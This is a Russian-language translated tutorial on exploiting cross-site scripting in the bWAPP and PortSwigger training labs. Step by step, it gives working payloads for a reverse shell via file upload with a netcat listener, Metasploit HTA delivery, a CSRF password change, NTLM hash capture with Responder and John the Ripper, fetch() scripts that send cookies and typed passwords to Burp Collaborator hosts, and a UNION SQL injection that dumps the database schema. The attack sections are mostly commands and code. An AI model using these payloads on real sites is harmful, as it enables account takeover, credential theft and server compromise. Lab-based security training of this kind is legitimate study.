В этой статье пойдет речь о том, как страдающая от XSS веб-страница может влиять на веб-приложения и способна нарушить конфиденциальность посетителя, поделившись со злоумышленником его учетными данными для входа или аутентифицированными файлами cookie без ведома пользователя.
Рекомендуется почитать предыдущую статью для лучшего понимания того, что происходит, прежде чем углубляться в сценарии атак, реализованных в данном примере.
Знакомство с Cross-Site Scripting
Cross-Site Scripting – это атака с внедрением кода на стороне клиента, при которой вредоносные сценарии производятся на надежных веб-сайтах.
В этой атаке пользователи напрямую не нацелены использовать полезную нагрузку, хотя злоумышленник добавляет ресурсу уязвимость от XSS, вставляя вредоносный сценарий на веб-страницу, которая кажется подлинной. Таким образом, когда любой человек посещает этот веб-сайт, страдающая от XSS веб-страница доставит вредоносный код JavaScript непосредственно в его браузер без ведома посетителя.
«XSS» имеет три основных вида:
- Stored XSS
- Reflected XSS
- DOM-based XSS
Теперь у читателя есть четкое представление о том, что такое XSS и с чем его едят. Итак, стоит попробовать использовать уязвимые лаборатории The Portswigger Academy и bWAPP, чтобы получить аутентифицированные файлы cookie пользователей и удаленный Shell сервера.
Но прежде чем воспользоваться эксплойтами, надо понять, что такое Blind XSS.
Blind XSS
Часто злоумышленник не знает, где окажется полезная нагрузка и будет ли она выполнена, и даже бывают случаи, когда введенная полезная нагрузка выполняется в другой среде, то есть либо администратором, либо кем-то другим.
Таким образом, чтобы использовать подобные уязвимости, человек слепо развертывает серию вредоносных полезных нагрузок, нацеленных на веб-приложения, и сами приложения сохраняют их в базе данных. Злоумышленник всего лишь ждет, пока пользователь не вытащит полезную нагрузку из базы данных и не запустит ее в своем браузере.
Пора начинать!
XSS посредством загрузки файлов
Веб-приложения позволяют своим пользователям загружать файлы, будь то изображение, резюме, песня или какой конкретный формат. С каждой загрузкой имя отображается на экране, именно таким, каким оно было записано в HTML-коде.
Поскольку имя отображается на экране, пользователь теперь может выполнить любой код JavaScript, просто манипулируя им и добавив полезную нагрузку XSS.
"><img src=x onerror=prompt(1)>
Следует открыть приложение bWAPP, выбрав опцию «Choose your bug» для «Unrestricted File Upload». На этот раз стоит оставить высокий уровень безопасности.
Надо также загрузить переименованный файл в веб-приложение, просмотрев его из каталога.
Отлично!! На приведенном выше изображении можно увидеть, что имя файла находится над экраном. Поэтому, как только пользователь нажмет на кнопку загрузки, браузер выполнит встроенный код JavaScript, и будет получен ответ.
Реверсивный Shell посредством XSS
Это создание всплывающего окна или перенаправление пользователя в какое-то другое приложение с уязвимостью XSS, что кажется безвредным. Но что, если атакующий сможет захватить обратный Shell? Стоит посмотреть, как человек мог бы это сделать.
Необходимо открыть свой терминал Kali, а затем создать полезную нагрузку обратного php, вызвав ее из каталога webshells с помощью следующей команды:
cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/ReverseXSS.php
Теперь, чтобы захватить удаленно Shell, следует манипулировать параметром $ip с IP-адресом машины Kali.
Возвращаясь к уязвимому приложению, пользователь выберет параметр «Unrestricted File Upload», а затем откроет файл ReverseXSS.php.
Также стоит не забыть скопировать загруженный URL-адрес, т.е. щелкнуть правой кнопкой мыши на кнопку загрузки и выбрать параметр копирования.
Отлично!! Пользователь почти закончил, пора добавлять полезную нагрузку XSS. Теперь, с помощью параметра «Choose you bug» нужно выбрать XSS – Stored (Blog).
В разделе комментариев пользователь добавит полезную нагрузку JavaScript с помощью «File-Upload URL».
Однако прежде чем нажать на кнопку «Submit», стоит также активировать листенер Netcat:
nc –lvp 1234
Круто! На приведенном ниже изображении можно увидеть, что пользователь находится на целевом веб-сервере.
Читателям может быть интересно: почему пользователь ходил кругами, чтобы захватить обратный Shell, когда у него была возможность использовать уязвимость «File Upload»?
Все очень просто: нужно подумать о ситуации, когда человек загружает файл напрямую и успешно захватывает обратный Shell. К несчастью, в сети жертвы будет показан IP-адрес пользователя, и он сам почти пойман.
Более того, в такой ситуации наиболее предпочтительным вариантом является получение обратного соединения с сервером жертвы через авторизованного пользователя.
Эксплуатация системы посредством XSS
В последнем разделе пользователь смог захватить обратный Shell, но что, если вместо Shell сервера злоумышленнику удалось получить сеанс meterpreter посетителя, который просматривает эту уязвимую веб-страницу?
Стоит понять, как это сделать, чтобы было более ясно, что есть у пользователя:
- ОС злоумышленника: Kali Linux;
- Уязвимое веб-приложение: bWAPP (bee-box);
- ОС цели: Windows.
Таким образом, злоумышленник сначала создает файл hta, то есть HTML-приложение поверх фреймворка Metasploit, которое при открытии жертвой будет выполнять полезную нагрузку через Powershell.
use exploit/windows/misc/hta_server
set srvhost 192.168.0.12
exploit
Отлично!! Пользователь получил url полезной нагрузки, теперь он просто вставляет его в веб-страницу, страдающую от XSS, и будет ждать свою цель.
<script>window.location='http://192.168.0.12:8080/zV9q9x7Tvl0.hta'</script>
Теперь, когда любой посетитель посещает эту веб-страницу, браузер, таким образом, выполняет вредоносный сценарий и загружает файл hta на его машину.
Круто! На приведенном выше изображении можно увидеть, что файл был загружен в систему. Теперь, как только жертва загрузит его, чтобы проверить, что это такое, злоумышленник получит свой сеанс meterpreter.
CSRF и XSS
Разве не было бы здорово, если бы пользователь мог манипулировать паролем пользователя или зарегистрированным адресом электронной почты самостоятельно, без его ведома?
Веб-приложения, которые страдают от уязвимости XSS и CSRF, позволяют этого добиться.
Следует открыть уязвимое веб-приложение bWAPP как bee: bug, далее выбрать: «CSRF (Change Password)» из меню «Choose your bug».
Таким образом, это перенаправит пользователя на веб-страницу CSRF, где есть возможность изменить пароль учетной записи.
Когда человек вводит или устанавливает новый пароль, передаваемое значение, таким образом, отображается обратно в URL-адресе, поскольку пароль в данном случае изменяется на «12345».
Следует скопировать URL-адрес пароля и изменить значения password_new и password_conf на те, которые пользователь хочет установить для посетителя. В данном случае “ignite”:
http://192.168.0.14/bWAPP/csrf_1.php?password_new=ignite&password_conf=ignite&action=change
Теперь пришло время внедрить скрипт на веб-страницу с XSS с тегом «image».
<img src=”http://192.168.0.14/bWAPP/csrf_1.php?password_new=ignite&password_conf=ignite&action=change”>
Стоит представить, что посетитель просматривает веб-сайт и посещает этот уязвимый раздел. Как только он это сделает, браузер выполнит встроенную полезную нагрузку Javascript и будет рассматривать ее как подлинный запрос посетителя, то есть он изменит его пароль на «ignite».
Отлично! Пользователь сделал это, и теперь всякий раз, когда посетитель будет входить в систему, вводя свой старый пароль, он не сможет этого сделать, так как его пароль не подойдет.
Но злоумышленник может войти в учетную запись посетителя, так как у него есть новый пароль, то есть «ignite».
Захват хэша NTLM с помощью XSS
Уязвимость XSS часто известна своими всплывающими окнами, но иногда злоумышленник манипулирует ними, чтобы перехватить конфиденциальные данные, такие как сеансовые файлы cookie и учетные данные записи.
В данном случае злоумышленник пытается захватить NTLM-хэши посетителей, вводя свой вредоносный код Javascript в уязвимое приложение.
Чтобы провернуть это, он включает «Responder» в своей атакующей машине, которая, таким образом, захватит все аутентифицированные хэши NTLM.
responder –I eth0
Кроме того, он просто вводит свой вредоносный скрипт на веб-страницу, страдающую от XSS, с помощью «iframe»:
<iframe src=http://192.168.0.12/scriptlet.html <
Круто! Настало время подождать посетителя. Теперь, когда он посещает эту веб-страницу, человек сталкивается с всплывающим окном, запрашивающим учетные данные.
Как только пользователь вводит свои системные учетные данные, веб-страница перезагружается, и злоумышленник получает свои NTLM-хэши.
Это еще не конец. Злоумышленнику нужно разобраться с этим. Поэтому в новом терминале он направляется в каталог, где хранится хэш.
cd /usr/share/responder/logs
Кроме того, он создает новый файл с паролями – pass.txt.
Отлично!! Теперь работа закончена. Злоумышленник просто вставляет файл с паролями и хэш-файл в John The Ripper и там он получит авторизованный сеанс.
john --wordlist=pass.txt HTTP-NTLMv2-192.168.0.9.txt
Перехват сеанса с помощью Burp Collaborator Client
Бывают моменты, когда пользователь может столкнуться с Blind XSS, то есть он не будет знать, когда его полезная нагрузка будет выполнена.
Таким образом, чтобы использовать эту уязвимость XSS, стоит проверить один из лучших плагинов burpsuite – «Burp Collaborator Client».
Следует войти в академию PortSwigger и дойти до Cross-Site Scripting, а затем открыть «Exploiting cross-site scripting vulnerabilities». Здесь пользователь выбирает лабораторию для «Exploiting cross-site scripting to steal cookies» и нажмет на кнопку «Access the lab» (Получить доступ к лаборатории).
Здесь пользователь будет перенаправлен на блог. Что касается дальнейших действий, то он открыл там отдельный пост и проверил его содержание.
Прокручивая вниз, в самом низу, пользователь обнаружил раздел комментариев, который, похоже, имеет несколько полей ввода, т.е. есть вероятность, что может быть задействована уязвимость XSS.
Теперь настало время воспользоваться «Burp Collaborator Client». Следует открыть его в «Burpsuite»: там в левой части экрана кликнуть по кнопке «Burp», далее выбрать опцию «Burp Collaborator Client».
Перейдя в окно клиента Collaborator, в разделе «Generate Collaborator payloads» пользователь нажмет на кнопку «Копировать в буфер обмена» («Copy to clipboard»), которая, таким образом, скопирует полезную нагрузку.
Круто!! Теперь стоит вернуться в раздел комментариев в блоге и ввести следующий скрипт с полезной нагрузкой Burp Collaborator:
<script>
fetch('https://qgafu1gvgx5psspo9o4iz1e2ttzond.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
На приведенном ниже изображении читатели могут увидеть, что комментарий был успешно опубликован.
Нужно немного подождать! Человек нажмет на кнопку опроса, чтобы получить результат взаимодействия с полезной нагрузкой.
Он получил длинный список, следует выбрать HTTP-файл и проверить его «ответы». На приведенном ниже изображении можно увидеть, что в разделе ответов есть «Session Id». Его нужно скопировать.
Теперь, вернувшись в браузер, пользователь настроит свой прокси-сервер и снова в burpsuite включит перехват.
Он перезагрузит страницу и проверит перехваченный запрос.
Отлично! Пользователь получил идентификатор сеанса. Теперь нужно манипулировать этими данными:
После этого надо нажать на кнопку «Вперед» («Forward») и проверить, что предлагает веб-приложение.
Захват учетных данных с помощью Burp Collaborator
Как и в предыдущем разделе, нет необходимости, чтобы наша полезная нагрузка выполнялась в том же месте, где она была введена.
Стоит попробовать захватить некоторые учетные данные, как в какой-то реальной ситуации, когда веб-страница страдает от уязвимости XSS.
Вернувшись в учетную запись PortSwigger, нужно выбрать параметр «Exploiting cross-site scripting to capture passwords».
Как только человек нажмет на кнопку «Access The Lab», он будет перенаправлен на веб-страницу с XSS. Пользователь вновь открыл какой-то пост там.
Прокрутив страницу еще раз в низ, он наткнулся на тот же раздел комментариев. Стоит задействовать его вновь.
Вернувшись в «Burp Collaborator», необходимо снова скопировать полезную нагрузку, нажав на кнопку «Копировать в буфер обмена».
Все, что нужно, — это только эта полезная нагрузка. Теперь стоит ввести в поле комментария следующую полезную нагрузку XSS:
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://5iojzt7m7e9217idp6s700vah1nsbh.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Следует нажать на кнопку «Оставить комментарий», чтобы проверить, работает ли он или нет. Изображение ниже показывает, что комментарий был успешно опубликован.
Теперь нужно проверить результаты в «Вurp Collaborator». На приведенном ниже изображении можно увидеть, что полезная нагрузка была выполнена в какой-то момент.
Стоит проверить, кто это осуществил.
Ой!! Это сделал администратор, у пользователя теперь есть некоторые полномочия.
Но как бы их использовать?
В верхней части блога был раздел входа в учетную запись, нужно задействовать его.
Круто!! Надо настроить свой прокси-сервер и захватить текущий HTTP-запрос.
Стоит попробовать манипулировать именем пользователя и паролем с теми данными, которые пользователь захватил ранее в Burp Collaborator.
Все выполнено отлично. Следует нажать на кнопку «Вперед».
XSS и SQL Injection
До сих пор только обсуждалось, как злоумышленник может захватить аутентифицированные файлы cookie, учетные данные посетителя и даже удаленный Shell сервера. Но что, если он способен получить всю базу данных веб-приложения в одном всплывающем окне? Интересно, как это сделать?
В уязвимом приложении злоумышленник столкнулся с веб-страницей, которая страдала от уязвимости для SQL-инъекций.
Поэтому, чтобы получить более точный результат, он проверил общее количество столбцов с помощью «order by».
http://192.168.0.14/bWAPP/sqli_1.php?title=’order by 7--+&action=search
После того как было определено общее количество столбцов, он использует оператор Union с запросом на создание выборки.
http://192.168.0.14/bWAPP/sqli_1.php?title=’ union select 1,2,3,4,5,6,7–+&action=search
Отлично!! На приведенном выше изображения можно увидеть, что на экране появилась цифра «2».
Пришло время проверить это для XSS. Но пользователь не может ввести свой Javascript-код так же, как раньше, поэтому он преобразует его в «шестнадцатеричную строку», а затем будет манипулировать “2” с шестнадцатеричным значением.
0x3c7363726970743e616c657274282253514c20496e6a656374696f6e207669612058535322293c2f7363726970743e
Круто!! Это работает. Теперь пользователь может добавить любой скрипт, будь он для захвата файлов cookie или удаленного Shell. Но на этот раз он сбросит и базу данных, ее таблицы и поля.
http://192.168.0.14/bWAPP/sqli_1.php?title=%27%20union%20select%201,concat(0x3c7363726970743e616c657274282249474e49544520544543484e4f4c4f47494553,0x5c6e,(concat(@x:=0x00,(SELECT%20count(*)from%20information_schema.columns%20where%20table_schema=database()%20and%20@x:=concat(@x,0x5c6e,database(),0x20207c2020,table_name,0x20207c2020,column_name)),@x)),0x22293c2f7363726970743e),3,4,5,6,7--+&action=search
Отлично!! На приведенном ниже изображении можно увидеть, что перед пользователем была представлена полная структура базы данных.
Автор переведенной статьи: Chiragh Arora.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.